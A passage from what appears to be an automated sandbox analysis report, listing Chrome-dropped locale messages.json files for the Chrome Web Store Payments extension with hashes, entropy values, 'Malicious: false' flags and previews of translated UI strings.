Preview:	{"craw_app_unavailable":{"message":"\u0910\u092a\u094d\u0932\u093f\u0915\u0947\u0936\u0928 \u0907\u0938 \u0938\u092e\u092f \u0909\u092a\u0932\u092c\u094d\u0927 \u0928\u0939\u0940\u0902 \u0939\u0948."},"craw_connect_to_network":{"message":"\u0915\u0943\u092a\u092f\u093e \u0928\u0947\u091f\u0935\u0930\u094d\u0915 \u0938\u0947 \u0915\u0928\u0947\u0915\u094d\u091f \u0915\u0930\u0947\u0902."},"app_name":{"message":"Chrome \u0935\u0947\u092c \u0938\u094d\u091f\u094b\u0930 \u092d\u0941\u0917\u0924\u093e\u0928"},"app_description":{"message":"Chrome \u0935\u0947\u092c \u0938\u094d\u091f\u094b\u0930 \u092d\u0941\u0917\u0924\u093e\u0928"},"iap_unavailable":{"message":"\u0907\u0928-\u0910\u092a \u092d\u0941\u0917\u0924\u093e\u0928 \u0905\u092d\u0940 \u0909\u092a\u0932\u092c\u094d\u0927 \u0928\u0939\u0940\u0902 \u0939\u0948."},"please_sign_in":{"message":"\u0915\u0943\u092a\u092f\u093e Chrome \u092e\u0947\u0902 \u0938\u093e\u0907\u0928 \u0907\u0928 \u0915\u0930\u0947\u0902."},"jwt_retrieve_failed":

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\_locales\hr\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	503
Entropy (8bit):	4.819520019697578
Encrypted:	false
SSDEEP:	12:YGGYpTOEu5TfIJPFJEPJEsxmfEWJEsxmfRpmJEzrMrQp5TfnHV5/WIWO/NrnLAOK:YHYpq7EJPkJExfJExRpmJE/LXzHV5/ji
MD5:	9CF848209FF50DBF68F5292B3421831C
SHA1:	D29880B7B15102469123D8747BF645706CE8595B
SHA-256:	EA1744C3CFBAA684A31A00067E8493ED114EFF3E878C797C9C55A7B122D855CD
SHA-512:	B784AEE4926F850F30072ABDA85E2E2E3966285F14BDF647BD2A41C5C06CAB04BC962584830E4E913896010396EAD02D90528235B9D9EDA1BDEFBFBB5333EDF5
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"Aplikacija trenuta\u010dno nije dostupna."},"craw_connect_to_network":{"message":"Pove\u017eite se s mre\u017eom."},"app_name":{"message":"Pla\u0107anja u web-trgovini Chrome"},"app_description":{"message":"Pla\u0107anja u web-trgovini Chrome"},"iap_unavailable":{"message":"Pla\u0107anje u aplikaciji trenuta\u010dno nije dostupno."},"please_sign_in":{"message":"Prijavite se na Chrome."},"jwt_retrieve_failed":{"message":"The transaction could not be completed."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\_locales\hu\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	612
Entropy (8bit):	4.865151680865773
Encrypted:	false
SSDEEP:	12:YGGYpiKQhMDCJNYygdGs61gdGs3piKQChMDZAYRO/NrnLAOK:YHYpzQhsiPgdG1gdGcpzQChsZAYOFvAD
MD5:	4AD92AFDE3408FBBE43B0C3C71677650
SHA1:	3488901077F336A3196F9AE116E36DF1674E1ACA
SHA-256:	61258FE04C23AE14FDC99EE846CEA71CC703990CC0F80C3934299646E86C475E
SHA-512:	EB945FA455DEB9D70033DC0A8AA55D1F47AA00214B70AD34D5419A54F9C05B267F96F9785139F452BEE6972376DDF13EE51C681845A2B0818172FB75BA1FD093
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"Az alkalmaz\u00e1s jelenleg nem \u00e9rhet\u0151 el."},"craw_connect_to_network":{"message":"K\u00e9rj\u00fck, csatlakozzon egy h\u00e1l\u00f3zathoz."},"app_name":{"message":"Chrome Internetes \u00e1ruh\u00e1z Fizet\u00e9si rendszere"},"app_description":{"message":"Chrome Internetes \u00e1ruh\u00e1z Fizet\u00e9si rendszere"},"iap_unavailable":{"message":"Az alkalmaz\u00e1son bel\u00fcli fizet\u00e9s jelenleg nem \u00e9rhet\u0151 el."},"please_sign_in":{"message":"Jelentkezzen be a Chrome-ba."},"jwt_retrieve_failed":{"message":"The transaction could not be completed."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\_locales\id\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	461
Entropy (8bit):	4.642271834875684
Encrypted:	false
SSDEEP:	12:YGGYpDBHAeSnLPo2sWo25pmo22C/SzFAAh+M9WO/NrnLAOK:YHYplHcFTpmzOptWOFvAOK
MD5:	9008516AA1D8F8C2B8ECE70B7E4963AD
SHA1:	EA7AD4BE77A80A4B9FB1E59A340010830E494747
SHA-256:	89CAB0AF2B53C6ABEB93C8C628DDCBDD286A7A2672FE03440411BB654E3A0675
SHA-512:	46534829417CAD54310BA90AD4545918A2E934508E0CC3467E367944E52315B1BC6500119214EABD40D641DD167C077935436135AF1C0DB1D1007AE98E6175FC
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"Aplikasi tidak tersedia saat ini."},"craw_connect_to_network":{"message":"Sambungkan ke jaringan."},"app_name":{"message":"Pembayaran Chrome Webstore"},"app_description":{"message":"Pembayaran Chrome Webstore"},"iap_unavailable":{"message":"Pembayaran Dalam Aplikasi saat ini tidak tersedia."},"please_sign_in":{"message":"Harap masuk ke Chrome."},"jwt_retrieve_failed":{"message":"The transaction could not be completed."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\_locales\it\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	464
Entropy (8bit):	4.701550173628233
Encrypted:	false
SSDEEP:	12:YGGYpmXXHEva6PIqd6WIqd3p6PqTX2zaWO/NrnLAOK:YHYpmnkvNtdRtd3pX6+WOFvAOK
MD5:	BB9C32BA62DDA02F9471C64B5F9CF916
SHA1:	9825037D5D9185C58456CDD887C77B10A41D8C84
SHA-256:	43A0B113D3773BA78F82BB9E42DDC46F6892D0FBBB351F94A7C105E4A146E9C1
SHA-512:	4D3DB91A6251F2DD9CBF97D29805A7AC23F49988966E9B686D486B4A8CEBEA33F5502E3891D5231674061127C282C745FB87FDA7467A6172851BF6925506C8CA
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"App al momento non disponibile."},"craw_connect_to_network":{"message":"Collegati a una rete."},"app_name":{"message":"Pagamenti Chrome Web Store"},"app_description":{"message":"Pagamenti Chrome Web Store"},"iap_unavailable":{"message":"La funzione Pagamenti In-App non \u00e8 al momento disponibile."},"please_sign_in":{"message":"Accedi a Chrome."},"jwt_retrieve_failed":{"message":"The transaction could not be completed."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\_locales\ja\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.671841695172103
Encrypted:	false
SSDEEP:	12:YGGYpqbrR5IYstMNcXh82q8b0kOoZ46ToZ43pqbtVD2CR5IYstR0O8b0KhO/Nrnk:YHYpcFiLRMACqNpctVPieOAhOFvAOK
MD5:	96C8CBD161D3CE9CB1A46CB2CD0C6583
SHA1:	78BBFCF035B5B620E353C8E520653ADD3F4E7DB8
SHA-256:	81D8F1D9F72B3139BC5D9845BCF82990308FB6175D07514D8238B1E6D5D02E8A
SHA-512:	692468B7B44D961D8248BBC30CC11DE9F3F7E89D01A609E6CB71CAF653D8212C15DFA834C5FB6E8261FD21A25E9616861C0A3FC01DB27CBBE79C3FDE2C6549DD
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"\u30a2\u30d7\u30ea\u306f\u73fe\u5728\u3054\u5229\u7528\u3044\u305f\u3060\u3051\u307e\u305b\u3093\u3002"},"craw_connect_to_network":{"message":"\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u306b\u63a5\u7d9a\u3057\u3066\u304f\u3060\u3055\u3044\u3002"},"app_name":{"message":"Chrome \u30a6\u30a7\u30d6\u30b9\u30c8\u30a2\u6c7a\u6e08"},"app_description":{"message":"Chrome \u30a6\u30a7\u30d6\u30b9\u30c8\u30a2\u6c7a\u6e08"},"iap_unavailable":{"message":"\u30a2\u30d7\u30ea\u5185\u30da\u30a4\u30e1\u30f3\u30c8\u306f\u73fe\u5728\u3054\u5229\u7528\u3044\u305f\u3060\u3051\u307e\u305b\u3093\u3002"},"please_sign_in":{"message":"Chrome \u306b\u30ed\u30b0\u30a4\u30f3\u3057\u3066\u304f\u3060\u3055\u3044\u3002"},"jwt_retrieve_failed":{"message":"The transaction could not be completed."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\_locales\ko\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	656
Entropy (8bit):	4.88216622785951
Encrypted:	false
SSDEEP:	12:YGGYpqHZMskkrcaw6cT/pb8pqHkrskeQV7wUO/NrnLAOK:YHYpsrkYcawwps5kdwUOFvAOK
MD5:	3CAF23A8EA2332D78B725B6C99EC3202
SHA1:	95C3504F55A929449EF2E3AB92014562AACD39AD
SHA-256:	BFE72BBC492B9018A599CB6575366696E431E6A38400E4B2ED06EAE3340D3AE5
SHA-512:	C000FCCB567D3590D4C401005E78C539961455BB13686296EC4FF7018BB0A4DAB2DA96FBDAA33D999C1409B5796932370219B3FF8490B671586DEBD6145519D6
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"\ud604\uc7ac \uc571\uc744 \uc0ac\uc6a9\ud560 \uc218 \uc5c6\uc2b5\ub2c8\ub2e4."},"craw_connect_to_network":{"message":"\ub124\ud2b8\uc6cc\ud06c\uc5d0 \uc5f0\uacb0\ud558\uc138\uc694."},"app_name":{"message":"Chrome \uc6f9 \uc2a4\ud1a0\uc5b4 \uacb0\uc81c"},"app_description":{"message":"Chrome \uc6f9 \uc2a4\ud1a0\uc5b4 \uacb0\uc81c"},"iap_unavailable":{"message":"\ud604\uc7ac \uc778\uc571 \uacb0\uc81c\ub97c \uc0ac\uc6a9\ud560 \uc218 \uc5c6\uc2b5\ub2c8\ub2e4."},"please_sign_in":{"message":"Chrome\uc5d0 \ub85c\uadf8\uc778\ud558\uc138\uc694."},"jwt_retrieve_failed":{"message":"The transaction could not be completed."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\_locales\lt\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	576
Entropy (8bit):	4.846810495221701
Encrypted:	false
SSDEEP:	12:YGGYpmEOnxwkD9AMoAYQa9AMoAYNpALveYAyO/NrnLAOK:YHYpmznayAMHcAMHQpAzeYAyOFvAOK
MD5:	41F2D63952202E528DBBB683B480F99C
SHA1:	9DD998542DBE6609299D4A5A25364A32FA7D7865
SHA-256:	FF7C083CD1E6134DD8263C634336EB852274BAD1BFAD18762814C42BC65309D8
SHA-512:	7BD2E2D4264C6BD62DF2584F3C1D3A910C5C5A28F4532F1E8F0C2235E93714EDD6074EA24960D4DEB4F9125DA81CA813F06330EFF66FA8DF1552D1DAC686441E
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"Programa \u0161iuo metu negalima."},"craw_connect_to_network":{"message":"Prisijunkite prie tinklo."},"app_name":{"message":"\u201eChrome\u201c internetin\u0117s parduotuv\u0117s mok\u0117jimo sistema"},"app_description":{"message":"\u201eChrome\u201c internetin\u0117s parduotuv\u0117s mok\u0117jimo sistema"},"iap_unavailable":{"message":"Mok\u0117jimai programoje \u0161iuo metu negalimi."},"please_sign_in":{"message":"Prisijunkite prie \u201eChrome\u201c."},"jwt_retrieve_failed":{"message":"The transaction could not be completed."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\_locales\lv\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	584
Entropy (8bit):	4.856464171821628
Encrypted:	false
SSDEEP:	12:YGGYp6nQ11155y9k5hInf6whInf3pRKbqk0R5VR8WO/NrnLAOK:YHYpp11dy9iIdIvpc2ZgWOFvAOK
MD5:	1D21ED2D46338636E24401F6E56E326F
SHA1:	24497EDB25724BC4A57823C5CD06F50DB9647DD4
SHA-256:	434A375C32B8A21C435511C551F740FD4D170EC528A8F4EFC3D798EA4A07B606
SHA-512:	10A870718CC6281EE09DE01900D303B06589D9281C5849D6105C6FCF58BFFA3855F29C6ECA3689FFE6EF304BABCF41C5700EE2D8AFE711D57CB711194366FA6A
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"Lietotne pagaid\u0101m nav pieejama."},"craw_connect_to_network":{"message":"L\u016bdzu, izveidojiet savienojumu ar t\u012bklu."},"app_name":{"message":"Chrome interneta veikala maks\u0101jumu sist\u0113ma"},"app_description":{"message":"Chrome interneta veikala maks\u0101jumu sist\u0113ma"},"iap_unavailable":{"message":"Maks\u0101jumi lietotn\u0113s pa\u0161laik nav pieejami."},"please_sign_in":{"message":"L\u016bdzu, pierakstieties p\u0101rl\u016bk\u0101 Chrome."},"jwt_retrieve_failed":{"message":"The transaction could not be completed."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\_locales\nb\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	501
Entropy (8bit):	4.804937629013952
Encrypted:	false
SSDEEP:	12:YGGYpB928UZjdyE9iDCiop8682fURHWO/NrnLAOK:YHYpXK/iOiop8NFHWOFvAOK
MD5:	8F0168B9A546D5A99FD8A262C975C80E
SHA1:	B0718071BD0B7251D4459E9C87DF50C14622FBD6
SHA-256:	F03FA7384DF79EBA6E0274D570996030F595A3BF6B781929DD9DB6593262E41F
SHA-512:	A1191CDC496DDD7470BDCFAF186BB9488767159E0CA6A6242D195FA3351704DC8F8BBD03DBEE57D37BBD897C9E8D14B7325FB37D58AC80DEC0F972FF893758B8
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"Appen er utilgjengelig for \u00f8yeblikket."},"craw_connect_to_network":{"message":"Du m\u00e5 koble til et nettverk."},"app_name":{"message":"Chrome Nettmarked-betalinger"},"app_description":{"message":"Chrome Nettmarked-betalinger"},"iap_unavailable":{"message":"Betaling i app er ikke tilgjengelig for \u00f8yeblikket."},"please_sign_in":{"message":"Du m\u00e5 logge p\u00e5 Chrome."},"jwt_retrieve_failed":{"message":"The transaction could not be completed."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\_locales\nl\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	472
Entropy (8bit):	4.651254944398292
Encrypted:	false
SSDEEP:	12:YGGYpqK5XUoE32GFM2GapUEn7v0WO/NrnLAOK:YHYp/XaLeLapUEgWOFvAOK
MD5:	E7F74DCE7B6411E4E0D95E9252CF74FA
SHA1:	33CC6C73C5F8D0144C0260C2E5A9BD0DB3EF6477
SHA-256:	3564AEF46C01602B19CC29FD8A79676C543427EDE98206D0C91B33AF0CCF3977
SHA-512:	B0987002F8BC4F0B0AC41A87E90BA729464BF2F34D1CC413DD3837019F5F37FD46EB9E9FDABB97F5BDCB50768ABF808AF6E7C531CD7BCA477C71990D2F13335B
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"App momenteel niet beschikbaar."},"craw_connect_to_network":{"message":"Maak verbinding met een netwerk."},"app_name":{"message":"Betalingen via Chrome Web Store"},"app_description":{"message":"Betalingen via Chrome Web Store"},"iap_unavailable":{"message":"In-app-betalingen is momenteel niet beschikbaar."},"please_sign_in":{"message":"Log in bij Chrome."},"jwt_retrieve_failed":{"message":"The transaction could not be completed."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\_locales\pl\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	549
Entropy (8bit):	4.978056737225237
Encrypted:	false
SSDEEP:	12:YGGYpTHlBqHdqcUP5Qp0mAW5Qp0mdpm5Qp0p9JqD2WO/NrnLAOK:YHYpRMdO5bmj5bmdpm5bLJBWOFvAOK
MD5:	E16649D87E4CA6462192CF78EBE543EC
SHA1:	53097D592B13F3C1370366B25024EA72208B136A
SHA-256:	EB435F7460A63576CA1ECB51948E7A3AD5168D2F175AE2B5836D469672923D84
SHA-512:	6EC702CEC6E312CAC6F33109A57F7D83A3F073F2F9A9BD42DB0F91A36F87D800EEB978C69023B6A0E00B86ECE3E1024C269F89D038F0926619F40D075F6689DD
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"Aplikacja jest obecnie niedost\u0119pna."},"craw_connect_to_network":{"message":"Po\u0142\u0105cz si\u0119 z sieci\u0105."},"app_name":{"message":"P\u0142atno\u015bci w sklepie Chrome Web Store"},"app_description":{"message":"P\u0142atno\u015bci w sklepie Chrome Web Store"},"iap_unavailable":{"message":"P\u0142atno\u015bci w ramach aplikacji s\u0105 teraz niedost\u0119pne."},"please_sign_in":{"message":"Zaloguj si\u0119 w Chrome."},"jwt_retrieve_failed":{"message":"The transaction could not be completed."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\_locales\pt_BR\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	513
Entropy (8bit):	4.734605177119403
Encrypted:	false
SSDEEP:	12:YGGYpGAV9hv3/1PIc6WIc3paIBMMAV+KcIWO/NrnLAOK:YHYpGwLvt5R53pacHw1pWOFvAOK
MD5:	1F4BC8A5EFD59D61127ABEECD4B6CAE3
SHA1:	8647B4D2D643AE4F784ABDDC50D87A39AD02971A
SHA-256:	E1950CBBF056F068EA56160DDB318F3E6232BFBBE096D221C7CA6FCAACE2A8B9
SHA-512:	B58A95BBBC0A16B06826684198B481D2E15A7C760956721C3B538C62C902873A7856F328506457EE66311E45D7A16A4AAAC85B12853AA7EF09780189D28EB3DE
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"Aplicativo indispon\u00edvel no momento."},"craw_connect_to_network":{"message":"Conecte-se a uma rede."},"app_name":{"message":"Pagamentos da Chrome Web Store"},"app_description":{"message":"Pagamentos da Chrome Web Store"},"iap_unavailable":{"message":"No momento, os Pagamentos no aplicativo n\u00e3o est\u00e3o dispon\u00edveis."},"please_sign_in":{"message":"Fa\u00e7a login no Google Chrome."},"jwt_retrieve_failed":{"message":"The transaction could not be completed."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\_locales\pt_PT\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	503
Entropy (8bit):	4.742240430473613
Encrypted:	false
SSDEEP:	12:YGGYpmvMAV9BKx1PIZUFWIZUapITEpBqMAVCWWO/NrnLAOK:YHYpmvMwOxtEUIEUapIITqMwCWWOFvAD
MD5:	D80ECE7E4B3741CD9CD29B89D006B864
SHA1:	8F0D587B78E36861ED00524ABF886FA20E14CAE4
SHA-256:	C8FF9ACAEA1D3B6F8483339CB40F66BC563CCA8DD87F2337F813C492B20F451B
SHA-512:	8A53D9618BBD1A62CD48501E5620932631C1B045612082D99429628D2BF4409AEE3FA695107E82037B5CB332111C456CF3A74235C66B61380CF1E382914F1088
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"Aplica\u00e7\u00e3o atualmente indispon\u00edvel."},"craw_connect_to_network":{"message":"Ligue-se a uma rede."},"app_name":{"message":"Pagamentos via Chrome Web Store"},"app_description":{"message":"Pagamentos via Chrome Web Store"},"iap_unavailable":{"message":"Os Pagamentos na app est\u00e3o atualmente indispon\u00edveis."},"please_sign_in":{"message":"Inicie sess\u00e3o no Chrome."},"jwt_retrieve_failed":{"message":"The transaction could not be completed."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\_locales\ro\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	554
Entropy (8bit):	4.8596885592394505
Encrypted:	false
SSDEEP:	12:YGGYpqOHHEG7PMeH8EPJWb2r9EWJWb2r9RpmJW9FjkUhI3C7PMdWO/NrnLAOK:YHYpbnEG7PjlJBfJBRpmJmBh57PEWOFY
MD5:	D63E66B94A4EA2085D80E76209582FB1
SHA1:	4ECAC3EB64DD6253310A0776E6D42257FC290D77
SHA-256:	91A5AAD210C3E0241106E8821B3897EDEFEC9D85033C94DB2324FF3A5FDE5AC7
SHA-512:	09AC34CF286FD0730EED4F6DB3E2FD00A026D0F42DCC75AE49B045DDAD38DFA38B0FB7823ECAC8B0A9BC2A89F4EAF4BCE081779F2ECDF6CC39286045577DC5C9
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"\u00cen prezent, aplica\u021bia nu este disponibil\u0103."},"craw_connect_to_network":{"message":"Conecteaz\u0103-te la o re\u021bea."},"app_name":{"message":"Pl\u0103\u021bi prin Magazinul web Chrome"},"app_description":{"message":"Pl\u0103\u021bi prin Magazinul web Chrome"},"iap_unavailable":{"message":"Pl\u0103\u021bile \u00een aplica\u021bie nu sunt disponibile momentan."},"please_sign_in":{"message":"Conecteaz\u0103-te la Chrome."},"jwt_retrieve_failed":{"message":"The transaction could not be completed."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\_locales\ru\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	1165
Entropy (8bit):	4.224419823550506
Encrypted:	false
SSDEEP:	24:YHYpNQVFc0BHlbZ0JRiKUG0L6RqQV9zJd0L6RqQV9zJRp00EQVqaQVFc0BRTlPzU:YHYpNQLHFQYKA6wQTz+6wQTz3paQAaQ8
MD5:	22F9E62ABAD82C2190A839851245A495
SHA1:	E7F79BD875918F0D0799DB5F45FAC6297FB66AF7
SHA-256:	9FC1167626C97BCBFDAFF23C6033A44252F89A501AF1DF41C43CB3A994FEB09F
SHA-512:	F577F2F0C344C4E4050AF025A9FB9AC78CADF7FE177F63AB9863826A9808B7FBF5D3363E3B61D7A6DB083EF5EBAC5474D710347B701640AB9C229A3E5D1F0A48
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"\u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e."},"craw_connect_to_network":{"message":"\u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u0441\u044c \u043a \u0441\u0435\u0442\u0438."},"app_name":{"message":"\u041f\u043b\u0430\u0442\u0435\u0436\u043d\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442-\u043c\u0430\u0433\u0430\u0437\u0438\u043d\u0430 Chrome"},"app_description":{"message":"\u041f\u043b\u0430\u0442\u0435\u0436\u043d\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442-\u043c\u0430\u0433\u0430\u0437\u0438\u043d\u0430 Chrome"},"iap_unavailable":{"message":"\u041f\u043b\u0430\u0442\u0435\u0436\u0438 \u0447\u0435\u0440\u0435\u0437 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b."},"

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\_locales\sk\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	548
Entropy (8bit):	4.850036636276313
Encrypted:	false
SSDEEP:	12:YGGYprMpsgCmIkPJE7ZEWJE7ZRpmJEtMxfAVADJ4ZAvIWO/NrnLAOK:YHYprMFCmvJE7ZfJE7ZRpmJEtMSVGKZo
MD5:	4BBAA10FD00AADBBA3EF6E805E8E1A62
SHA1:	1991901BD6A20C4A7977F09DF30C0CFF0524C504
SHA-256:	906C4F7FDDE15DE4C841E7910BBF14D9175E894BCB244B56E8447A5ADFA5B7AB
SHA-512:	3490F8826E3DB0C8B4FE7B1866DA27F6585ADF52E74392A592A60A916E8A784FF7B92B3DE8985084546D663588369D9BB03FCB25196B7F9C6DF607BEB7DEF010
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"Aplik\u00e1cia moment\u00e1lne nie je dostupn\u00e1."},"craw_connect_to_network":{"message":"Pripojte sa k sieti."},"app_name":{"message":"Platby Internetov\u00e9ho obchodu Chrome"},"app_description":{"message":"Platby Internetov\u00e9ho obchodu Chrome"},"iap_unavailable":{"message":"Platby v aplik\u00e1cii moment\u00e1lne nie s\u00fa k dispoz\u00edcii."},"please_sign_in":{"message":"Prihl\u00e1ste sa do prehliada\u010da Chrome."},"jwt_retrieve_failed":{"message":"The transaction could not be completed."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\_locales\sl\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	494
Entropy (8bit):	4.7695148367588285
Encrypted:	false
SSDEEP:	12:YGGYpTOEtyPFTEPJEsvmfEWJEsvmfRpmJEiArERfH5/4WO/NrnLAOK:YHYpqoyPRAJEs4fJEs4RpmJEi6AfH5/x
MD5:	F45DE58765A37FD095319D7DEB0F2FB6
SHA1:	B585A485C9BC1982EDF7AE0B9AC73A8E91D41CB5
SHA-256:	8366774AA582035BC7D949F4E28FAEC371C305D01404DF56FFF5A78B4F6ECDB7
SHA-512:	F86334E6E6F90961AD9C8E7DD1A4E923476249469180AC69D9DE59746FE26FAECB585898FC50310380F20CEB0971CA1EB7B55046DA75276840AEA6BAFF574E66
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"Aplikacija trenutno ni na voljo."},"craw_connect_to_network":{"message":"Pove\u017eite se z omre\u017ejem."},"app_name":{"message":"Pla\u010dila v spletni trgovini Chrome"},"app_description":{"message":"Pla\u010dila v spletni trgovini Chrome"},"iap_unavailable":{"message":"Pla\u010dila v aplikacijah trenutno niso na voljo."},"please_sign_in":{"message":"Prijavite se v Chrome."},"jwt_retrieve_failed":{"message":"The transaction could not be completed."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\_locales\sr\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	1152
Entropy (8bit):	4.2078334514915685
Encrypted:	false
SSDEEP:	24:YHYpY0f7BxQVnRl5LRO1QV1J0V8aQVEeORbo0V8aQVEeORbIp00V4i0f7BXR2QVj:YHYpV9xQVP5LyQHQQc/QcGpcH9XR2QVj
MD5:	92C1FAC62EB7F92EC3794D4A141BEF32
SHA1:	2AFA41BF51BF9A1089B0B92A9D2DC74299B79813
SHA-256:	9DF154C93B02695AF1CC39F085D9D178EC6AF131A62C2AFC65F125F8F9A5B7AC
SHA-512:	D0709E4F586EAC03548A47D72156CF48D9B4EB9AF9ED8335DF75F541AE1B4172541647EC8BA081965647A9EAE10DB342F87558977BE6075B2D3CC5C3995ED6EE
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"\u0410\u043f\u043b\u0438\u043a\u0430\u0446\u0438\u0458\u0430 \u0458\u0435 \u0442\u0440\u0435\u043d\u0443\u0442\u043d\u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430."},"craw_connect_to_network":{"message":"\u041f\u043e\u0432\u0435\u0436\u0438\u0442\u0435 \u0441\u0430 \u043c\u0440\u0435\u0436\u043e\u043c."},"app_name":{"message":"\u041f\u043b\u0430\u045b\u0430\u045a\u0430 \u0443 Chrome \u0432\u0435\u0431-\u043f\u0440\u043e\u0434\u0430\u0432\u043d\u0438\u0446\u0438"},"app_description":{"message":"\u041f\u043b\u0430\u045b\u0430\u045a\u0430 \u0443 Chrome \u0432\u0435\u0431-\u043f\u0440\u043e\u0434\u0430\u0432\u043d\u0438\u0446\u0438"},"iap_unavailable":{"message":"\u041f\u043b\u0430\u045b\u0430\u045a\u0430 \u0443 \u0430\u043f\u043b\u0438\u043a\u0430\u0446\u0438\u0458\u0438 \u0441\u0443 \u0442\u0440\u0435\u043d\u0443\u0442\u043d\u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430."},"please_sign_in":{"message":"\u041f\u04

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\_locales\sv\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	523
